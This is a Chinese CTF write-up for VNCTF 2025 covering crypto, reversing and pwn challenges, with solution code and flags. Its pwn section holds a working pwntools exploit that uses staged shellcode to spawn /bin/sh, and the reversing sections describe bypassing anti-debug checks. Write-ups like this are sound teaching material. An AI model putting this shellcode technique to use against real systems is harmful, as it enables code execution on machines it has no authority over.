VNCTF 2025 WP Misc VN_Lang IDA分析VN_Lang_XXXX.exe字符串搜索VN得到Flag。
Flag VNCTF{i9UQEqFXgbJBI1LasSZmBxxXSNYFRyCkpydKvhZo7d9Ai}
Crypto easymath ai一把梭。
dec.sage:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from sage.all import ZZ, PolynomialRingR = PolynomialRing(ZZ, "x" ) x = R.gen() polynomial = x**3 - 15264966144147258587171776703005926730518438603688487721465 *x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923 *x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619 roots = polynomial.roots() primes = [int (r[0 ]) for r in roots] N = primes[0 ] * primes[1 ] * primes[2 ] c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944 c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944 square_roots = [] for p in primes: root = power_mod(c, (p + 1 ) // 4 , p) square_roots.append((root, p)) possible_flags = [] for signs in [(1 , 1 , 1 ), (1 , 1 , -1 ), (1 , -1 , 1 ), (-1 , 1 , 1 ), (-1 , -1 , 1 ), (-1 , 1 , -1 ), (1 , -1 , -1 ), (-1 , -1 , -1 )]: crt_solution = crt([signs[i] * square_roots[i][0 ] % primes[i] for i in range (3 )], primes) possible_flags.append(crt_solution) print (possible_flags)
dec.py:
1 2 3 4 5 6 7 8 p =[55745449774035533604132123837354458550470434042238203561240895515463850669082841278843372190705837595737691650856096087615682512159689935652128349720357413457859444632369350 , 125115225001407144448151513636019415817956856295873219712252392836948941964102523530173092625214575404136789335483571504152920024161726170211008255272440379726560839152801102 , 121308689781282565030341210716083690163638176623957028113928015415750030819041672272612041957024041097790808247093717003449846352538078398824952421335589115302596759718820027 , 60203414044033723113683626590079903689763905879374101193373685550258360403003508805935592269106120673140798276984048897114005911074753100616094921754147882416738708813989459 , 325714524936805045870599916394859742487396082609853016904206306797799294429908134765584705104874385528562768869049154397624863645707696788955369048469602267457592373819517 , 4132249745061384463680902836330585396806075754526044615228583727996710439490759392326635373295408691874543857258903655100698535269355468175011202985320866691421671807800592 , 65237525482310226380338486962334371870680346499108971535782913593488380855528922859003085061213329116524553827368571761436538976732680766383868702566762099577279722712631160 , 69695489752308415889889989715059817009973818336244869167915703628282890589449590386095305139613612193927660453496524570934862375647743931347835274600552568536158986894251269 ] for f in p: f_bytes = f.to_bytes((f.bit_length() + 7 ) // 8 , byteorder="big" ) if f_bytes.startswith(b'VNCTF' ): print (f_bytes.decode())
Flag VNCTF{90dcfb2dfb21a21e0c8715cbf3643f4a47d3e2e4b3f7b7975954e6d9701d9648}
Pwn 签个到吧 checksec
IDA分析pwn程序
发现就给22字节大小,可以写一个标准最短shell,但是execute函数清空了寄存器。
所以可以通过一段shellcode再read一次更大的空间。
接下来用shellcode调用/bin/sh即可。
参考:Pwn.the-Art-of-Shellcode | V3rdant’s Blog
payload.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context.arch= 'amd64' p = process("./pwn" ) shellcode = asm(''' xchg rdi, rsi mov edi, eax add edx, 0x114 syscall ''' )p.sendafter('try to show your strength \n' ,shellcode) pay = b'0' *13 + asm(''' mov rsp, rsi add rsp, 0x114 xor rsi, rsi mul rsi push r8 mov rcx, 0x68732f2f6e69622f push rcx mov rdi, rsp mov al, 59 syscall ''' )p.send(pay) p.interactive()
Flag 动态值
Reverse Fuko’s starfish IDA分析.exe程序发现最终游戏调用的是starfish.dll里面的函数,程序本身似乎没有与flag相关数据。
IDA分析.dll程序的play_snake函数,发现输出”u win”下面分支调用了一个Check函数(改名后的),Check函数有花指令,直接将图2红框部分nop即可F5分析。
可以看到函数内部就是主体流程,要解密一段字符串输出然后要求输入,加密最后与被加密的flag进行对比。
输入32长度字符串,被分为16字节为一个单位进行加密,进入加密函数发现有调试器检测,让数据走不同分支处理,直接将下图红框部分nop进行pass,然后将jz改成jmp即可(手动重新算一下相对偏移就行)。
可以通过算法特征识别出这是一个标准AES加密,没看出魔改的地方,但是密钥是从全局数据获取再经过一通计算拿的,计算过程不好看,考虑用动调获取,并且图1部分用密钥与输入进来的Input进行了异或,可以通过Input和这段数据进行异或获取到密钥。
看到DllMain似乎有反调试,但是似乎只扫描了进程,而且没检测ida,所以就不管了。
直接写一个程序来加载这个dll来call Check函数,便于调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <Windows.h> int main () { auto hLib = LoadLibraryW (L"starfish.dll" ); if (hLib) { auto Addr = (DWORD64)hLib + 0x25F0 ; void (*funcPtr)() = reinterpret_cast <void (*)()>(Addr); funcPtr (); } return 0 ; }
输入”1111111111111111”然后动调断点在下图断点,取出所有异或后的值,然后重新与输入字符再次异或拿到Key.
1 2 3 4 5 6 7 8 9 10 11 12 13 int main () { uint8_t Input[] = "1111111111111111" ; uint8_t c[]{ 0x38 ,0xd4 ,0xCC ,0xDA ,0x59 ,0x00 ,0x44 ,0x87 ,0x80 ,0x0A ,0xB5 ,0x39 ,0xA0 ,0xDA ,0x49 ,0xE3 }; for (int i = 0 ; i < 16 ; i++) { printf ("%02X " , Input[i] ^ c[i]); } return 0 ; }
再用cyberchef AES解密得到Flag.
Flag VNCTF{W0w_u_g0t_Fuk0’s_st4rf1sh}
Hook Fish jadx分析APK, 发现他会下载一个hook_fish.dex文件, 然后调用里面的check、encode、decode函数。但是他又会delete文件,所以得动调断点在这边然后手动去复制一份文件。
在delete前断点,启动调试,然后输入点击按钮断下,在文件夹中搜到hook_fish.dex复制到windows。
jadx分析hook_fish.dex可以发现有以下几个函数,以及一个被加密的flag。
使用decode函数即可解密第一层,第二层解密就是用apk里面的encrypt进行写解密函数。
这边发现加密后的1字节对2字节的,也就是从逐字节往后添加进行爆破,免得写解密函数了。
完整解密代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 import java.util.HashMap;public class Main { private HashMap<String, Character> fish_dcode; private HashMap<Character, String> fish_ecode; private String strr = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji" ; public Main () { encode_map(); decode_map(); } public void encode_map () { HashMap<Character, String> hashMap = new HashMap <>(); this .fish_ecode = hashMap; hashMap.put('a' , "iiijj" ); this .fish_ecode.put('b' , "jjjii" ); this .fish_ecode.put('c' , "jijij" ); this .fish_ecode.put('d' , "jjijj" ); this .fish_ecode.put('e' , "jjjjj" ); this .fish_ecode.put('f' , "ijjjj" ); this .fish_ecode.put('g' , "jjjji" ); this .fish_ecode.put('h' , "iijii" ); this .fish_ecode.put('i' , "ijiji" ); this .fish_ecode.put('j' , "iiiji" ); this .fish_ecode.put('k' , "jjjij" ); this .fish_ecode.put('l' , "jijji" ); this .fish_ecode.put('m' , "ijiij" ); this .fish_ecode.put('n' , "iijji" ); this .fish_ecode.put('o' , "ijjij" ); this .fish_ecode.put('p' , "jiiji" ); this .fish_ecode.put('q' , "ijijj" ); this .fish_ecode.put('r' , "jijii" ); this .fish_ecode.put('s' , "iiiii" ); this .fish_ecode.put('t' , "jjiij" ); this .fish_ecode.put('u' , "ijjji" ); this .fish_ecode.put('v' , "jiiij" ); this .fish_ecode.put('w' , "iiiij" ); this .fish_ecode.put('x' , "iijij" ); this .fish_ecode.put('y' , "jjiji" ); this .fish_ecode.put('z' , "jijjj" ); this .fish_ecode.put('1' , "iijjl" ); this .fish_ecode.put('2' , "iiilj" ); this .fish_ecode.put('3' , "iliii" ); this .fish_ecode.put('4' , "jiili" ); this .fish_ecode.put('5' , "jilji" ); this .fish_ecode.put('6' , "iliji" ); this .fish_ecode.put('7' , "jjjlj" ); this .fish_ecode.put('8' , "ijljj" ); this .fish_ecode.put('9' , "iljji" ); this .fish_ecode.put('0' , "jjjli" ); } public void decode_map () { HashMap<String, Character> hashMap = new HashMap <>(); this .fish_dcode = hashMap; hashMap.put("iiijj" , 'a' ); this .fish_dcode.put("jjjii" , 'b' ); this .fish_dcode.put("jijij" , 'c' ); this .fish_dcode.put("jjijj" , 'd' ); this .fish_dcode.put("jjjjj" , 'e' ); this .fish_dcode.put("ijjjj" , 'f' ); this .fish_dcode.put("jjjji" , 'g' ); this .fish_dcode.put("iijii" , 'h' ); this .fish_dcode.put("ijiji" , 'i' ); this .fish_dcode.put("iiiji" , 'j' ); this .fish_dcode.put("jjjij" , 'k' ); this .fish_dcode.put("jijji" , 'l' ); this .fish_dcode.put("ijiij" , 'm' ); this .fish_dcode.put("iijji" , 'n' ); this .fish_dcode.put("ijjij" , 'o' ); this .fish_dcode.put("jiiji" , 'p' ); this .fish_dcode.put("ijijj" , 'q' ); this .fish_dcode.put("jijii" , 'r' ); this .fish_dcode.put("iiiii" , 's' ); this .fish_dcode.put("jjiij" , 't' ); this .fish_dcode.put("ijjji" , 'u' ); this .fish_dcode.put("jiiij" , 'v' ); this .fish_dcode.put("iiiij" , 'w' ); this .fish_dcode.put("iijij" , 'x' ); this .fish_dcode.put("jjiji" , 'y' ); this .fish_dcode.put("jijjj" , 'z' ); this .fish_dcode.put("iijjl" , '1' ); this .fish_dcode.put("iiilj" , '2' ); this .fish_dcode.put("iliii" , '3' ); this .fish_dcode.put("jiili" , '4' ); this .fish_dcode.put("jilji" , '5' ); this .fish_dcode.put("iliji" , '6' ); this .fish_dcode.put("jjjlj" , '7' ); this .fish_dcode.put("ijljj" , '8' ); this .fish_dcode.put("iljji" , '9' ); this .fish_dcode.put("jjjli" , '0' ); } public String encode (String str) { StringBuilder sb = new StringBuilder (); for (int i = 0 ; i < str.length(); i++) { sb.append(this .fish_ecode.get(Character.valueOf(str.charAt(i)))); } return sb.toString(); } public String decode (String str) { StringBuilder sb = new StringBuilder (); int i = 0 ; int i2 = 0 ; while (i2 < str.length() / 5 ) { int i3 = i + 5 ; sb.append(this .fish_dcode.get(str.substring(i, i3))); i2++; i = i3; } return sb.toString(); } public static String encrypt (String str) { byte [] str1 = str.getBytes(); for (int i = 0 ; i < str1.length; i++) { str1[i] = (byte ) (str1[i] + 68 ); } StringBuilder hexStringBuilder = new StringBuilder (); for (byte b : str1) { hexStringBuilder.append(String.format("%02x" , Byte.valueOf(b))); } String str2 = hexStringBuilder.toString(); char [] str3 = str2.toCharArray(); codes(str3, 0 ); for (int i2 = 0 ; i2 < str3.length; i2++) { if (str3[i2] >= 'a' && str3[i2] <= 'f' ) { str3[i2] = (char ) ((str3[i2] - '1' ) + (i2 % 4 )); } else { str3[i2] = (char ) (str3[i2] + '7' + (i2 % 10 )); } } return new String (str3); } private static void codes (char [] a, int index) { if (index >= a.length - 1 ) { return ; } a[index] = (char ) (a[index] ^ a[index + 1 ]); a[index + 1 ] = (char ) (a[index] ^ a[index + 1 ]); a[index] = (char ) (a[index] ^ a[index + 1 ]); codes(a, index + 2 ); } public static void main (String[] args) { String encflag = new Main ().decode("jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji" ); System.out.println(encflag); String candidates = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!?.~&*()_+=@#$%^" ; StringBuilder decrypted = new StringBuilder (); int currentIndex = 0 ; while (currentIndex < encflag.length()) { boolean found = false ; for (char c : candidates.toCharArray()) { String encrypted = encrypt(decrypted + String.valueOf(c)); String s1 = encrypted.substring(currentIndex, currentIndex + 2 ); String s2 = encflag.substring(currentIndex, currentIndex + 2 ); if (s1.equals(s2)) { decrypted.append(c); currentIndex += 2 ; found = true ; break ; } } } System.out.println(decrypted.toString()); } }
Flag VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}
kotlindroid jadx分析发现有个check函数,这个Base64加密后的应该就是Flag,然后查看交叉调用找到上层。
发现下面这边调用了check,传进来了一个key,直接动调断点获取。
在这边断点,即可看到两个modifiedKey数组,合并起来就是16字节的Key了。
{97,116,114,105,107,101,121,115,115,121,101,107,105,114,116,97}
但是这边没看到和base64相关加密,全局搜索base64在SearchActivityKt$sec$1中的invokeSuspend函数中看到。
这边应该就是那边check函数invoke后跳过来的,可以看到是AES GCM加密,IV是”114514”,Key是Check那边断点拿到的,AAD数据没法直接获取,使用frida hook拦截JNI.INSTANCE.getAt()函数。
frida代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import fridaimport syspackage_name = "com.atri.ezcompose" hook_script = """ Java.perform(function () { try { var JNI = Java.use('com.atri.ezcompose.JNI'); var instance = JNI.INSTANCE.value; console.log('INSTANCE: ' + instance); instance.getAt.implementation = function () { var result = this.getAt(); console.log("getAt result: " + result); return result; }; } catch (e) { console.log("Error: " + e); } }); """ def main (): device = frida.get_usb_device() session = device.attach("ezCompose" ) script = session.create_script(hook_script) script.load() if __name__ == "__main__" : main()
拦截到ADD数据为”mysecretadd”
可以从主加密流程看到最后Base64是将IV加上被加密数据后在进行编码,所以将被加密的Flag进行Base64解码后去掉前面的”114514”就是原密文。
使用java进行解密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import javax.crypto.Cipher;import javax.crypto.spec.GCMParameterSpec;import javax.crypto.spec.SecretKeySpec;public class Main { public static void main (String[] args) throws Exception{ String IV = "114514" ; byte [] Key = {97 ,116 ,114 ,105 ,107 ,101 ,121 ,115 ,115 ,121 ,101 ,107 ,105 ,114 ,116 ,97 }; byte [] AAdBytes = {109 ,121 ,115 ,101 ,99 ,114 ,101 ,116 ,97 ,100 ,100 }; int [] Enc = {0x1c ,0xcb ,0x89 ,0x28 ,0xb3 ,0x96 ,0xd4 ,0x1a ,0x82 ,0x02 ,0x2d ,0x8c ,0xc6 ,0x91 ,0xd8 ,0x8c ,0x68 ,0xe9 ,0x3e ,0xaf ,0x36 ,0x5d ,0x74 ,0x3f ,0x8e ,0x0c ,0x79 ,0x59 ,0x8a ,0xd9 ,0xd8 ,0xc5 ,0x79 ,0xdd ,0xaf ,0x71 ,0x8d ,0x05 ,0x5b ,0x45 ,0xa5 ,0x5d ,0x46 ,0x25 ,0xc5 ,0xad ,0x29 ,0xfa ,0x11 ,0xc4 ,0x0f ,0xcc }; GCMParameterSpec spec = new GCMParameterSpec (128 , IV.getBytes()); SecretKeySpec keySpec = new SecretKeySpec (Key, "AES" ); byte [] aas = new byte [Enc.length]; for (int i = 0 ; i < Enc.length; i++) { aas[i] = (byte ) Enc[i]; } Cipher cipher = Cipher.getInstance("AES_128/GCM/NoPadding" ); cipher.init(Cipher.DECRYPT_MODE,keySpec,spec); cipher.updateAAD(AAdBytes); byte [] Original = cipher.doFinal(aas); String result = new String (Original, java.nio.charset.StandardCharsets.UTF_8); System.out.println(result); } }
Flag VNCTF{Y0U_@re_th3_Ma5t3r_0f_C0mp0s3}
抽奖转盘 jadx分析hap文件中的modules.abc文件
在MyPage下发现一段字节数组。
获取到一个字符串存到lexenv_0_0中,进行了一次forEach对每个字节进行了加密计算。然后再调用函数对比那个字节数组与被加密的字符串,比较是否相等,这边应该就是最后的一次加密和对比。可以将这段字节数组进行逆向计算,可以得到一串明文。
1 2 3 4 5 6 7 8 9 10 11 12 13 int main () { unsigned char EncFlag[]{ 101 , 74 , 76 , 49 , 101 , 76 , 117 , 87 , 55 , 69 , 118 , 68 , 118 , 69 , 55 , 67 , 61 , 83 , 62 , 111 , 81 , 77 , 115 , 101 , 53 , 73 , 83 , 66 , 68 , 114 , 109 , 108 , 75 , 66 , 97 , 117 , 93 , 127 , 115 , 124 , 109 , 82 , 93 , 115 }; for (int i = 0 ; i < 44 ; i++) { EncFlag[i] ^= 7 ; EncFlag[i] -= 1 ; } printf ("%.44s\n" , EncFlag); }
输出字符串像是Base64加密。
可以看到hap文件下有一个libhello.so。jadx全局搜索可以看到有调用libhello里面的MyCry函数,应该就是加密函数。
使用IDA进行逆向分析libhello.so,通过字符串搜搜MyCry查找交叉引用找到Call。
可以看到以下流程很清晰,获取字符串,将字符串进行RC4加密(密钥为”Take_it_easy”),然后再进行Base64加密,这边判断了一个值是否等于40走不同分支。
RC4加密流程没被魔改,就最后将加密数据多异或了一个值,两个分支分别是异或上了40和24。尝试后发现40可以解密出明文。
将之前解密到的Base64字串进行decode然后RC4解密即可。
解密代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 void rc4_init (unsigned char * s, unsigned char * key, unsigned long Len_k) { int i = 0 , j = 0 ; char k[256 ] = { 0 }; unsigned char tmp = 0 ; for (i = 0 ; i < 256 ; i++) { s[i] = i; k[i] = key[i % Len_k]; } for (i = 0 ; i < 256 ; i++) { j = (j + s[i] + k[i]) % 256 ; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } } void rc4_crypt (unsigned char * Data, unsigned long Len_D, unsigned char * key, unsigned long Len_k) { unsigned char s[256 ]; rc4_init (s, key, Len_k); int i = 0 , j = 0 , t = 0 ; unsigned long k = 0 ; unsigned char tmp; for (k = 0 ; k < Len_D; k++) { i = (i + 1 ) % 256 ; j = (j + s[i]) % 256 ; tmp = s[i]; s[i] = s[j]; s[j] = tmp; t = (s[i] + s[j]) % 256 ; Data[k] = Data[k] ^ s[t]; } } int main () { unsigned char EncFlag[]{0x68 ,0xB2 ,0x79 ,0x68 ,0x9A ,0x8E ,0xFC ,0x0A ,0x41 ,0xA4 ,0x0F ,0xC2 ,0xF5 ,0x2F ,0x20 ,0x50 ,0x8B ,0x1A ,0xD4 ,0xC4 ,0x83 ,0x06 ,0xD8 ,0xA3 ,0x28 ,0x37 ,0xAA ,0x63 ,0x0B ,0x33 ,0x89 ,0x36 ,0x2C }; for (int i = 0 ; i < 33 ; i++) EncFlag[i] ^= 40 ; unsigned char Key[] = "Take_it_easy" ; rc4_crypt (EncFlag, 33 , Key, 12 ); for (int i = 0 ; i < 33 ; i++) EncFlag[i] -= 3 ; printf ("%.33s\n" , EncFlag); return 0 ; }
Flag VNCTF{JUst_$ne_Iast_dance_2025!}